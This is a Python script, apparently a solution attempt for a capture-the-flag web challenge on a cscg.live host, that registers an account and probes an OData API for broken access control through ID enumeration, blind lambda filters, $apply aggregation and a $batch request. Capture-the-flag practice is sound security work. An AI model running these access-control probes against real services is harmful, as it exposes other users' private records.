69 lines
2.4 KiB
Python
69 lines
2.4 KiB
Python
import requests
|
|
|
|
BASE_URL = "https://fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live"
|
|
|
|
with requests.session() as s:
|
|
r = s.post(
|
|
BASE_URL + "/auth/register",
|
|
json={"name": "cato447", "password": "password"},
|
|
headers={
|
|
"Content-Type": "application/json;odata.metadata=none;odata.streaming=true"
|
|
},
|
|
)
|
|
|
|
r = s.post(
|
|
BASE_URL + "/auth/login",
|
|
json={"name": "cato447", "password": "password"}
|
|
)
|
|
token = r.json()["token"]
|
|
headers = {"Authorization": f"Bearer {token}"}
|
|
for i in range(1, 20):
|
|
r = s.get(
|
|
f"{BASE_URL}/odata/Scientist({i})/Note",
|
|
)
|
|
if r.status_code == 200:
|
|
print(f"Scientist {i} notes: {r.text}")
|
|
|
|
for i in range(1, 20):
|
|
r = s.get(BASE_URL + f"/odata/Note({i})", headers=headers)
|
|
if r.status_code != 404:
|
|
print(f"Note({i}):", r.status_code, r.text)
|
|
|
|
headers = {"Authorization": f"Bearer {token}"}
|
|
|
|
# 1. Navigate through the UNPROTECTED Scientist endpoint to reach Notes
|
|
# Scientist has no auth, maybe its navigation properties inherit that
|
|
for i in range(1, 6):
|
|
r = s.get(BASE_URL + f"/odata/Scientist({i})/Notes")
|
|
print(f"Scientist({i})/Notes (no auth):", r.status_code, r.text)
|
|
|
|
# 2. OData lambda operators - query scientists WHERE their notes contain something
|
|
# This is a blind oracle but might leak data differently
|
|
r = s.get(BASE_URL + "/odata/Scientist?$filter=Notes/any(n: n/Id gt 0)")
|
|
print("Scientists with notes:", r.text)
|
|
|
|
# 3. OData $apply aggregation
|
|
r = s.get(BASE_URL + "/odata/Note?$apply=groupby((ScientistId))", headers=headers)
|
|
print("Apply groupby:", r.text)
|
|
|
|
# 4. OData batch request - bundle Note request inside Scientist context
|
|
batch_body = """--batch_boundary
|
|
Content-Type: application/http
|
|
Content-Transfer-Encoding: binary
|
|
|
|
GET /odata/Note HTTP/1.1
|
|
Host: fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live
|
|
|
|
--batch_boundary--"""
|
|
|
|
r = s.post(BASE_URL + "/odata/$batch",
|
|
data=batch_body,
|
|
headers={"Content-Type": "multipart/mixed; boundary=batch_boundary"})
|
|
print("Batch:", r.text)
|
|
|
|
# 5. Filter notes by other scientist IDs (server might not scope properly)
|
|
for i in range(1, 6):
|
|
r = s.get(BASE_URL + f"/odata/Note?$filter=ScientistId eq {i}", headers=headers)
|
|
print(f"Notes for scientist {i}:", r.text)
|
|
|